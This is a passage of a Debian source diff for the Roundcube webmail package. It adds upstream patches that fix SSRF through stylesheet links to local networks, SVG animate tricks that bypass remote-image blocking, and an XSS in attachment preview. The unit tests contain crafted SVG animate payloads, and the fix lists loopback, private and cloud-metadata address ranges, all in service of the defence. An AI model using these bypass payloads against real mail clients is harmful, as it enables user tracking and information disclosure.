+      * The main loop that recurse on a node tree.
+      * It output only allowed tags with allowed attributes and allowed inline 
styles
+@@ -579,10 +600,9 @@ class rcube_washtml
+ 
+                     $node->setAttribute('href', (string) $uri);
+                 }
+-                else if (in_array($tagName, ['animate', 'animatecolor', 
'set', 'animatetransform'])
+-                    && self::attribute_value($node, 'attributename', 'href')
+-                ) {
++                else if (self::is_insecure_tag($node)) {
+                     // Insecure svg tags
++                    // TODO: We really should use wash_attribs()/wash_uri() 
for these cases
+                     if ($this->config['add_comments']) {
+                         $dump .= "<!-- {$tagName} blocked -->";
+                     }
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index ef324f8..457e8eb 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -500,6 +500,20 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+                 '<html><svg><defs><filter><feImage 
xlink:href="http://external.site"/></filter></defs></html>',
+                 '<svg><defs><filter><feImage 
x-washed="xlink:href"></feImage></filter></defs></svg>',
+             ],
++            [
++                '<svg><animate attributeName="mask" 
values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
++            [
++                '<svg><animate attributeName="mask" 
values="none;url(https://external.site);url(https://external.site)"'
++                    . ' repeatCount="indefinite" dur="1s" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
++            [
++                '<svg><animate attributeName="cursor" attributeType="CSS" 
values="url(https://external.site),auto"'
++                    . ' feel="freeze" dur="1s" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
+         ];
+     }
+ 
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,164 @@
+From: Aleksander Machniak <[email protected]>
+Date: Wed, 18 Mar 2026 10:35:16 +0100
+Subject: Fix SSRF + Information Disclosure via stylesheet links to a local
+ network hosts
+
+Reported by Georgios Tsimpidas (aka Frey), Security Researcher at 
https://i0.rs/
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/index.php          |  2 +-
+ program/actions/utils/modcss.php        |  2 +-
+ program/lib/Roundcube/rcube_utils.php   | 46 ++++++++++++++++++++++++++++++++-
+ program/lib/Roundcube/rcube_washtml.php |  2 +-
+ tests/Framework/Utils.php               | 34 ++++++++++++++++++++++++
+ 5 files changed, 82 insertions(+), 4 deletions(-)
+
+diff --git a/program/actions/mail/index.php b/program/actions/mail/index.php
+index 9c54955..55b3cb4 100644
+--- a/program/actions/mail/index.php
++++ b/program/actions/mail/index.php
+@@ -1270,7 +1270,7 @@ class rcmail_action_mail_index extends rcmail_action
+         if (isset($attrib['href'])) {
+             $attrib['href'] = preg_replace('/[\x00-\x1F]/', '', 
$attrib['href']);
+ 
+-            if ($tag == 'link' && preg_match('/^https?:\/\//i', 
$attrib['href'])) {
++            if ($tag == 'link' && preg_match('/^https?:\/\//i', 
$attrib['href']) && !rcube_utils::is_local_url($attrib['href'])) {
+                 $tempurl = 'tmp-' . md5($attrib['href']) . '.css';
+                 $_SESSION['modcssurls'][$tempurl] = $attrib['href'];
+                 $attrib['href'] = $rcmail->url([
+diff --git a/program/actions/utils/modcss.php 
b/program/actions/utils/modcss.php
+index d1f34b3..8512bdf 100644
+--- a/program/actions/utils/modcss.php
++++ b/program/actions/utils/modcss.php
+@@ -44,7 +44,7 @@ class rcmail_action_utils_modcss extends rcmail_action
+         $ctype  = null;
+ 
+         try {
+-            $client   = rcube::get_instance()->get_http_client();
++            $client = 
rcube::get_instance()->get_http_client(['allow_redirects' => false]);
+             $response = $client->get($realurl);
+ 
+             if (!empty($response)) {
+diff --git a/program/lib/Roundcube/rcube_utils.php 
b/program/lib/Roundcube/rcube_utils.php
+index 59a26c0..8ff1db8 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,6 +1,8 @@
+ <?php
+ 
+-/**
++use IPLib\Factory;
++
++/*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+  |                                                                       |
+@@ -419,6 +421,48 @@ class rcube_utils
+         return asciiwords($str, true, '_');
+     }
+ 
++    /**
++     * Check if an URL point to a local network location.
++     *
++     * @param string $url
++     *
++     * @return bool
++     */
++    public static function is_local_url($url)
++    {
++        $host = parse_url($url, \PHP_URL_HOST);
++
++        if (is_string($host)) {
++            // TODO: This is pretty fast, but a single message can contain 
multiple links
++            // to the same target, maybe we should do some in-memory caching.
++            if ($address = Factory::parseAddressString($host = trim($host, 
'[]'))) {
++                $nets = [
++                    '127.0.0.0/8',    // loopback
++                    '10.0.0.0/8',     // RFC1918
++                    '172.16.0.0/12',  // RFC1918
++                    '192.168.0.0/16', // RFC1918
++                    '169.254.0.0/16', // link-local / cloud metadata
++                    '::1/128',
++                    'fc00::/7',
++                ];
++
++                foreach ($nets as $net) {
++                    $range = Factory::parseRangeString($net);
++                    if ($range->contains($address)) {
++                        return true;
++                    }
++                }
++
++                return false;
++            }
++
++            // FIXME: Should we accept any non-fqdn hostnames?
++            return (bool) preg_match('/^localhost(\.localdomain)?$/i', $host);
++        }
++
++        return false;
++    }
++
+     /**
+      * Replace all css definitions with #container [def]
+      * and remove css-inlined scripting, make position style safe
+diff --git a/program/lib/Roundcube/rcube_washtml.php 
b/program/lib/Roundcube/rcube_washtml.php
+index 5b0115b..a2b737c 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -393,7 +393,7 @@ class rcube_washtml
+         }
+ 
+         if (preg_match('/^(http|https|ftp):.+/i', $uri)) {
+-            if (!empty($this->config['allow_remote'])) {
++            if (!empty($this->config['allow_remote']) || 
rcube_utils::is_local_url($uri)) {
+                 return $uri;
+             }
+ 
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index 9a702d6..8a95001 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -552,6 +552,40 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         }
+     }
+ 
++    /**
++     * Test is_local_url()
++     *
++     * @dataProvider provide_is_local_url_cases
++     */
++    #[DataProvider('provide_is_local_url_cases')]
++    public function test_is_local_url($input, $output)
++    {
++        $this->assertSame($output, \rcube_utils::is_local_url($input));
++    }
++
++    /**
++     * Test-Cases for is_local_url() test
++     */
++    public static function provide_is_local_url_cases(): iterable
++    {
++        return [
++            // Local hosts
++            ['https://127.0.0.1', true],
++            ['https://10.1.1.1', true],
++            ['https://172.16.0.1', true],
++            ['https://192.168.0.100', true],
++            ['https://169.254.0.200', true],
++            ['http://[fc00::1]', true],
++            ['ftp://[::1]:8080', true],
++            ['//127.0.0.1', true],
++            ['http://localhost', true],
++            ['http://localhost.localdomain', true],
++            // Non-local hosts
++            ['http://[2001:470::76:0:0:0:2]', false],
++            ['http://domain.tld', false],
++        ];
++    }
++
+     /**
+      * rcube:utils::strtotime()
+      */
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-SVG-Animate-FUNCIRI-Attribute-Bypass-Remote-Image-Loa.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-SVG-Animate-FUNCIRI-Attribute-Bypass-Remote-Image-Loa.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-SVG-Animate-FUNCIRI-Attribute-Bypass-Remote-Image-Loa.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-SVG-Animate-FUNCIRI-Attribute-Bypass-Remote-Image-Loa.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,39 @@
+From: Aleksander Machniak <[email protected]>
+Date: Sun, 29 Mar 2026 11:42:52 +0200
+Subject: Fix SVG Animate FUNCIRI Attribute Bypass — Remote Image Loading via 
fill/filter/stroke
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/9d18d524f3cc211003fc99e2e54eed09a2f3da88
+---
+ program/lib/Roundcube/rcube_washtml.php | 3 ++-
+ tests/Framework/Washtml.php             | 4 ++++
+ 2 files changed, 6 insertions(+), 1 deletion(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php 
b/program/lib/Roundcube/rcube_washtml.php
+index a2b737c..922a5da 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -550,7 +550,8 @@ class rcube_washtml
+             return true;
+         }
+ 
+-        return self::attribute_value($node, 'attributeName', 
'/^(mask|cursor)$/i')
++        $rx = 
'/^(mask|cursor|fill|filter|stroke|clip-path|marker-start|marker-end|marker-mid)$/i';
++        return self::attribute_value($node, 'attributeName', $rx)
+             && self::attribute_value($node, 'values', '/url\(/i');
+     }
+ 
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index 920d5ca..ec1dd5d 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -521,6 +521,10 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+                     . ' feel="freeze" dur="1s" /></svg>',
+                 '<svg><!-- animate blocked --></svg>',
+             ],
++            [
++                '<svg><animate attributeName="fill" 
values="url(http://external.site)" dur="1s" begin="0s" fill="freeze" /></svg>',
++                '<svg><!-- animate blocked --></svg>',
++            ],
+         ];
+     }
+ 
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch
        1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch
        2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,26 @@
+From: Aleksander Machniak <[email protected]>
+Date: Wed, 18 Mar 2026 10:23:34 +0100
+Subject: Fix XSS issue in a HTML attachment preview
+
+Reported by aikido_security
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/10a6d1fa8acac85c727b0a6ae4a6642bfa27bea1
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/include/rcmail_action.php | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/program/include/rcmail_action.php 
b/program/include/rcmail_action.php
+index 9cb41da..4266ac1 100644
+--- a/program/include/rcmail_action.php
++++ b/program/include/rcmail_action.php
+@@ -691,6 +691,9 @@ abstract class rcmail_action
+             header('Content-Type: ' . $file['mimetype']);
+             header('Content-Length: ' . $file['size']);
+ 
++            // Use strict security policy to make sure no javascript is 
executed
++            header("Content-Security-Policy: script-src 'none'");
++
+             if (isset($file['data']) && is_string($file['data'])) {
+                 echo $file['data'];
+             }
diff -Nru roundcube-1.6.5+dfsg/debian/patches/series 
roundcube-1.6.5+dfsg/debian/patches/series
--- roundcube-1.6.5+dfsg/debian/patches/series  2026-02-11 12:05:21.000000000 
+0100
+++ roundcube-1.6.5+dfsg/debian/patches/series  2026-03-20 19:15:19.000000000 
+0100
@@ -36,3 +36,15 @@
 CVE-2026-26079/01-1f4c3a5af.patch
 CVE-2026-26079/02-2b5625f1d.patch
 CVE-2026-26079/03-53d75d5df.patch
+Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
+Fix-bug-where-a-password-could-get-changed-without-provid.patch
+Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
+Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
+Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
+Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
+Fix-regression-where-some-data-url-images-could-get-ignor.patch
+Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
+Fix-XSS-issue-in-a-HTML-attachment-preview.patch
+Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch
+Avoid-dependency-on-new-package-mlocati-ip-lib.patch
+Fix-SVG-Animate-FUNCIRI-Attribute-Bypass-Remote-Image-Loa.patch

Attachment: signature.asc
Description: PGP signature

Reply via email to